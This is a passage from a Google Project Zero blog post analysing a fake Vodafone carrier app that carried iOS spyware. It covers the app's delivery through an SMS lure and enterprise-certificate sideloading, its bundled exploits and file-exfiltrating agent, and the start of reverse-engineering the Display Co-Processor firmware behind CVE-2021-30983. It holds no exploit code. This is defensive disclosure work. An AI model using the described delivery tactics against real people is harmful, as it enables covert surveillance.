<p class="HZWKYxoXby-c4"><span class="HZWKYxoXby-c5"></span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-59737487261346822942022-06-23T09:01:00.002-07:002022-08-24T11:58:33.315-07:00The curious tale of a fake Carrier.app<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=cGvuclDC_Z1vE_cnVEU6Ae_NZQ7StBcqH_vXVqoPMX0');ol{margin:0;padding:0}table td,table th{padding:0}.HovzfPYjjR-c13{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.HovzfPYjjR-c34{padding-top:0pt;padding-bottom:3pt;line-height:1.5;page-break-after:avoid;text-align:left}.HovzfPYjjR-c15{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.HovzfPYjjR-c17{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.HovzfPYjjR-c31{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:center}.HovzfPYjjR-c6{color:#000000;font-weight:400;font-size:11pt;font-family:"Courier New"}.HovzfPYjjR-c9{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.HovzfPYjjR-c0{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.HovzfPYjjR-c30{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.HovzfPYjjR-c20{border-spacing:0;border-collapse:collapse;margin-right:auto}.HovzfPYjjR-c3{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.HovzfPYjjR-c14{font-size:10pt;font-family:Consolas,"Courier New";color:#3367d6;font-weight:400}.HovzfPYjjR-c16{color:#000000;font-weight:400;font-size:16pt;font-family:"Arial"}.HovzfPYjjR-c5{color:#000000;font-weight:400;font-size:11pt;font-family:"Arial"}.HovzfPYjjR-c27{color:#000000;font-weight:700;font-size:11pt;font-family:"Arial"}.HovzfPYjjR-c23{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:700}.HovzfPYjjR-c22{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.HovzfPYjjR-c1{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.HovzfPYjjR-c4{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.HovzfPYjjR-c24{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:right}.HovzfPYjjR-c21{color:#000000;font-weight:400;font-size:26pt;font-family:"Arial"}.HovzfPYjjR-c2{text-decoration:none;vertical-align:baseline;font-style:normal}.HovzfPYjjR-c33{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.HovzfPYjjR-c32{margin-left:22.5pt;text-indent:36pt}.HovzfPYjjR-c19{color:inherit;text-decoration:inherit}.HovzfPYjjR-c26{font-weight:700;font-family:"Courier New"}.HovzfPYjjR-c7{font-weight:400;font-family:"Courier New"}.HovzfPYjjR-c28{text-decoration:none;vertical-align:baseline}.HovzfPYjjR-c8{orphans:2;widows:2}.HovzfPYjjR-c29{font-weight:700}.HovzfPYjjR-c18{height:0pt}.HovzfPYjjR-c25{font-style:italic}.HovzfPYjjR-c11{background-color:#00ff00}.HovzfPYjjR-c12{margin-right:-45pt}.HovzfPYjjR-c10{height:11pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style><body class="HovzfPYjjR-c33">
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Posted by Ian Beer, Google Project Zero</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c29">NOTE: This issue was CVE-2021-30983 was fixed in iOS 15.2 in December 2021.</span><span class="HovzfPYjjR-c2 HovzfPYjjR-c27"> </span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Towards the end of 2021 Google's Threat Analysis Group (TAG) shared an iPhone app</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> with me:</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioBjlvs-GjJW9ZocxERk7cU6J-bBcWIjauCAzuI6QoMvdQENbSjF6elAZ0yUpLbHfTmOzfdKWBhB_FFR8X9UF1yMqN9XSMmJSUDZ_uVX_zctpmYMaD0G6V7bi68tdJ2C-e3eyM715_cTywzOWAgSbPyazbNtMv65p0lWewhacxCox_vrztKXdRZdjB/s1874/Screenshot%202022-06-22%20at%2016.52.33.png" style="display: block; padding: 1em 0; text-align: center;"><img alt="App splash screen showing the Vodafone carrier logo and the text My Vodafone." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioBjlvs-GjJW9ZocxERk7cU6J-bBcWIjauCAzuI6QoMvdQENbSjF6elAZ0yUpLbHfTmOzfdKWBhB_FFR8X9UF1yMqN9XSMmJSUDZ_uVX_zctpmYMaD0G6V7bi68tdJ2C-e3eyM715_cTywzOWAgSbPyazbNtMv65p0lWewhacxCox_vrztKXdRZdjB/s1200/Screenshot%202022-06-22%20at%2016.52.33.png" style="max-height: 750px; max-width: 600px;" title="App splash screen showing the Vodafone carrier logo and the text My Vodafone." /></a></span><img /></p>
<p class="HovzfPYjjR-c24 HovzfPYjjR-c8"><span class="HovzfPYjjR-c25">App splash screen showing the Vodafone carrier logo and the text "</span><span class="HovzfPYjjR-c25">My Vodafone</span><span class="c5 c28 c25">" (not the legitimate Vodadone app)</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Although this looks like the real </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://apps.apple.com/gb/app/my-vodafone/id370901726">My Vodafone carrier app</a></span><span> available in the App Store, it didn't come from the App Store and is not the real application from Vodafone. TAG suspects that a target receives a link to this app in an SMS, after the attacker asks the carrier to disable the target's mobile data connection. The SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>This sideloading works because the app is signed with an enterprise certificate, which can be purchased for $299 via the Apple </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://developer.apple.com/programs/enterprise/">Enterprise developer program</a></span><span>. This program allows an eligible enterprise to obtain an Apple-signed </span><span class="HovzfPYjjR-c7">embedded.mobileprovision</span><span> file with the </span><span class="HovzfPYjjR-c7">ProvisionsAllDevices</span><span> key set. An app signed with the developer certificate embedded within that </span><span class="HovzfPYjjR-c7">mobileprovision</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> file can be sideloaded on any iPhone, bypassing Apple's App Store review process. While we understand that the Enterprise developer program is designed for companies to push "trusted apps" to their staff's iOS devices, in this case, it appears that it was being used to sideload this fake carrier app.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>In collaboration with Project Zero, </span><span><a href="https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/" target="_blank">TAG has published an additional post with more details around the targeting and the actor</a></span><span>. The rest of this blogpost is dedicated to the technical analysis of the app and the exploits contained therein.</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.rengd0ayidhp"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">App structure</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The app is broken up into multiple frameworks. </span><span class="HovzfPYjjR-c7">InjectionKit.framework</span><span> is a generic privilege escalation exploit wrapper, exposing the primitives you'd expect (kernel memory access, entitlement injection, </span><span>amfid</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> bypasses) as well as higher-level operations like app installation, file creation and so on.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c7">Agent.framework</span><span class="HovzfPYjjR-c2 HovzfPYjjR-c5"> is partially obfuscated but, as the name suggests, seems to be a basic agent able to find and exfiltrate interesting files from the device like the Whatsapp messages database.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Six privilege escalation exploits are bundled with this app. Five are well-known, publicly available N-day exploits for older iOS versions. The sixth is not like those others at all.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">This blog post is the story of the last exploit and the month-long journey to understand it.</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.nr1ejtuvx4nm"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">Something's missing? Or am I missing something?</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Although all the exploits were different, five of them shared a common high-level structure. An initial phase where the kernel heap was manipulated to control object placement. Then the triggering of a kernel vulnerability followed by well-known steps to turn that into something useful, perhaps by disclosing kernel memory then building an arbitrary kernel memory write primitive.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The sixth exploit didn't have anything like that.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Perhaps it could be triggering a kernel logic bug like Linuz Henze's </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://github.com/LinusHenze/Fugu14">Fugu14</a></span><span> exploit, or a very bad memory safety issue which gave fairly direct kernel memory access. But neither of those seemed very plausible either. </span><span>It looked, quite simply, like an iOS kernel exploit from a decade ago, except one which was first quite carefully checking that it was only running on an iPhone 12 or 13.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">It contained log messages like:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> printf("Failed to prepare fake vtable: 0x%08x", ret);</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>which seemed to happen far earlier than the exploit could possibly have defeated mitigations like K</span><span>ASLR</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> and PAC.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Shortly after that was this log message:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> printf("Waiting for R/W primitives...");</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Why would you need to wait?</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Then shortly after that:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> printf("Memory read/write and callfunc primitives ready!");</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Up to that point the exploit made only four </span><span class="HovzfPYjjR-c7">IOConnectCallMethod</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> calls and there were no other obvious attempts at heap manipulation. But there was another log message which started to shed some light:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c7"> printf("Unexpected data read from DCP: 0x%08x", v49);</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.dlybqvef2fq5"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">DCP?</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">In October 2021 Adam Donenfeld tweeted this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><img /></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizH1ivW5VjBBB2oIDHbvRvevtn3SaYgaWlwf_F_bWSAb9b9kMrycHwATVj_tyHb22sjTc9jJmwQTc-ehvzmruznZtyWToUNiEfyif6nl3latUr3STT8P0YSL0MgxB8_t-CjNLdHITK0kpCcuYPJhFN7zuOX6s1DqOQVQxthrazNfK0ktsvn4Na1hl/s1988/Screenshot%202022-06-22%20at%2016.52.56.png" style="display: block; padding: 1em 0; text-align: center;"><img alt="Screenshot of Tweet from @doadam on 11 Oct 2021, which is a retweet from @AmarSaar on 11 October 2021. The tweet from @AmarSaar reads 'So, another IOMFB vulnerability was exploited ITW (15.0.2). I bindiffed the patch and built a POC. And, because it's a great bug, I just finished writing a short blogpost with the tech details, to share this knowledge :) Check it out! https://saaramar.github.io/IOMFB_integer_overflow_poc/' and the retweet from @doadam reads 'This has been moved to the display coprocessor (DCP) starting from 15, at least on iPhone 12 (and most probably other ones as well)'." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizH1ivW5VjBBB2oIDHbvRvevtn3SaYgaWlwf_F_bWSAb9b9kMrycHwATVj_tyHb22sjTc9jJmwQTc-ehvzmruznZtyWToUNiEfyif6nl3latUr3STT8P0YSL0MgxB8_t-CjNLdHITK0kpCcuYPJhFN7zuOX6s1DqOQVQxthrazNfK0ktsvn4Na1hl/s1200/Screenshot%202022-06-22%20at%2016.52.56.png" style="max-height: 750; max-width: 600px;" title="Screenshot of Tweet from @doadam on 11 Oct 2021, which is a retweet from @AmarSaar on 11 October 2021. The tweet from @AmarSaar reads 'So, another IOMFB vulnerability was exploited ITW (15.0.2). I bindiffed the patch and built a POC. And, because it's a great bug, I just finished writing a short blogpost with the tech details, to share this knowledge :) Check it out! https://saaramar.github.io/IOMFB_integer_overflow_poc/' and the retweet from @doadam reads 'This has been moved to the display coprocessor (DCP) starting from 15, at least on iPhone 12 (and most probably other ones as well)'." /></a></span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">DCP is the "Display Co-Processor" which ships with iPhone 12 and above and all M1 Macs.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>There's little public information about the DCP; the most comprehensive comes from the </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://asahilinux.org/">Asahi linux project</a></span><span> which is porting linux to M1 Macs. In their </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://asahilinux.org/2021/08/progress-report-august-2021/">August 2021</a></span><span> and </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://asahilinux.org/2021/10/progress-report-september-2021/">September 2021</a></span><span> updates they discussed their DCP reverse-engineering efforts and the open-source DCP client written by </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://twitter.com/alyssarzg">@alyssarzg</a></span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">. Asahi describe the DCP like this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="c3 c8 c32"><span class="c5 c28 c25">On most mobile SoCs, the display controller is just a piece of hardware with simple registers. While this is true on the M1 as well, Apple decided to give it a twist. They added a coprocessor to the display engine (called DCP), which runs its own firmware (initialized by the system bootloader), and moved most of the display driver into the coprocessor. But instead of doing it at a natural driver boundary… they took half of their macOS C++ driver, moved it into the DCP, and created a remote procedure call interface so that each half can call methods on C++ objects on the other CPU! </span></p>
<p class="HovzfPYjjR-c8 HovzfPYjjR-c24"><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://asahilinux.org/2021/08/progress-report-august-2021/">https://asahilinux.org/2021/08/progress-report-august-2021/</a></span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The Asahi linux project reverse-engineered the API to talk to the DCP but they are restricted to using Apple's DCP firmware (loaded by iBoot) - they can't use a custom DCP firmware. Consequently their documentation is limited to the DCP RPC API with few details of the DCP internals.</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.nj6hztnr911v"><span class="HovzfPYjjR-c2 HovzfPYjjR-c16">Setting the stage</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Before diving into DCP internals it's worth stepping back a little. What even is a co-processor in a modern, highly integrated SoC (System-on-a-Chip) and what might the consequences of compromising it be?</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Years ago a co-processor would likely have been a physically separate chip. Nowadays a large number of these co-processors are integrated along with their interconnects directly onto a single die, even if they remain fairly independent systems. We can see in this M1 die shot from </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://www.techinsights.com/blog/two-new-apple-socs-two-market-events-apple-a14-and-m1">Tech Insights</a></span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> that the CPU cores in the middle and right hand side take up only around 10% of the die:</span></p>
<p class="HovzfPYjjR-c31 HovzfPYjjR-c8"></p>
<p class="HovzfPYjjR-c8 HovzfPYjjR-c31"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtJjSN0qdOa1cKBG72s9uuwcVKU5evSg9CiIPtpbbFox0fGgW7XZQU1Jj4IezjIdHC23sJbnklT6acyTFiqB-0-qmcj35Gq-ZZyTHP0DcfFkBztA0DL2P3lhYy2n0k8wgzmzaYX8IMeKosr4uuWMXT-wplsuJQmfR4LDgFzWAUZARvx5rfWjWiusz/s1116/Screenshot%202022-06-22%20at%2016.53.12.png" style="display: block; padding: 1em 0; text-align: center;"><img alt="M1 die-shot from techinsights.com with possible location of DCP highlighted." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtJjSN0qdOa1cKBG72s9uuwcVKU5evSg9CiIPtpbbFox0fGgW7XZQU1Jj4IezjIdHC23sJbnklT6acyTFiqB-0-qmcj35Gq-ZZyTHP0DcfFkBztA0DL2P3lhYy2n0k8wgzmzaYX8IMeKosr4uuWMXT-wplsuJQmfR4LDgFzWAUZARvx5rfWjWiusz/s1116/Screenshot%202022-06-22%20at%2016.53.12.png" style="max-height: 750; max-width: 600px;" title="M1 die-shot from techinsights.com with possible location of DCP highlighted." /></a></span></p>
<p class="HovzfPYjjR-c24 HovzfPYjjR-c8"><span class="c5 c25 c28">M1 die-shot from techinsights.com with possible location of DCP added</span></p>
<p class="HovzfPYjjR-c24 HovzfPYjjR-c8"><span class="HovzfPYjjR-c17 HovzfPYjjR-c25"><a class="HovzfPYjjR-c191" href="https://www.techinsights.com/blog/two-new-apple-socs-two-market-events-apple-a14-and-m1">https://www.techinsights.com/blog/two-new-apple-socs-two-market-events-apple-a14-and-m1</a></span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Companies like </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://www.systemplus.fr/">SystemPlus</a></span><span> perform </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://www.systemplus.fr/wp-content/uploads/2020/12/SP20608-Apple-M1-System-on-Chip-Sample.pdf">very thorough analysis of these dies</a></span><span>. Based on their analysis the DCP is likely the rectangular region indicated on this M1 die. It takes up around the same amount of space as the four high-</span><span>efficiency</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> cores seen in the centre, though it seems to be mostly SRAM.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>With just this low-resolution image it's not really possible to say much more about the functionality or capabilities of the DCP and what level of system access it has. To answer those questions we'll need to take a look at the firmware.</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.mnw2kq5jkaze"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">My kingdom for a .dSYM!</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The first step is to get the DCP firmware image. iPhones (and now M1 macs) use </span><span class="HovzfPYjjR-c7">.ipsw</span><span> files for system images. An </span><span class="HovzfPYjjR-c7">.ipsw</span><span> is really just a </span><span class="HovzfPYjjR-c7">.zip</span><span> archive and the </span><span class="HovzfPYjjR-c7">Firmware/</span><span> folder in the extracted </span><span class="HovzfPYjjR-c7">.zip</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> contains all the firmware for the co-processors, modems etc. The DCP firmware is this file:</span></p><hr style="display: none; page-break-before: always;" />
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> Firmware/dcp/iphone13dcp.im4p</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The </span><span class="HovzfPYjjR-c7">im4p</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> in this case is just a 25 byte header which we can discard:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> $ dd if=iphone13dcp.im4p of=iphone13dcp bs=25 skip=1</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c2 HovzfPYjjR-c6"> $ file iphone13dcp</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> iphone13dcp: Mach-O 64-bit preload executable arm64</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>It's a Mach-O! Running </span><span class="HovzfPYjjR-c7">nm -a</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> to list all symbols shows that the binary has been fully stripped:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> $ nm -a iphone13dcp</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"> iphone13dcp: no symbols</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Function names make understanding code significantly easier. From looking at the handful of strings in the exploit some of them looked like they might be referencing symbols in a DCP firmware image ("</span><span class="HovzfPYjjR-c7">M3_CA_ResponseLUT read: 0x%08x</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">" for example) so I thought perhaps there might be a DCP firmware image where the symbols hadn't been stripped.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Since the firmware images are distributed as </span><span class="HovzfPYjjR-c7">.zip</span><span> files and Apple's servers support range requests with a bit of python and the </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://github.com/marcograss/partialzip">partialzip</a></span><span> tool</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> we can relatively easily and quickly get every beta and release DCP firmware. I checked over 300 distinct images; every single one was stripped.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Guess we'll have to do this the hard way!</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.m9onjpj2j9i"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">Day 1; Instruction 1</span></h2>
<p class="c3 c8 c12"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">$ otool -h raw_fw/iphone13dcp</span></p>
<p class="c3 c8 c12 c10"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"></span></p>
<p class="c3 c8 c12"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">raw_fw/iphone13dcp:</span></p>
<p class="c3 c8 c12"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">Mach header</span></p>
<p class="c3 c8 c12"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">magic cputype cpusubtype caps filetype ncmds sizeofcmds flags</span></p>
<p class="c3 c8 c12"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">0xfeedfacf 0x100000C 0 0x00 5 5 2240 0x00000001</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
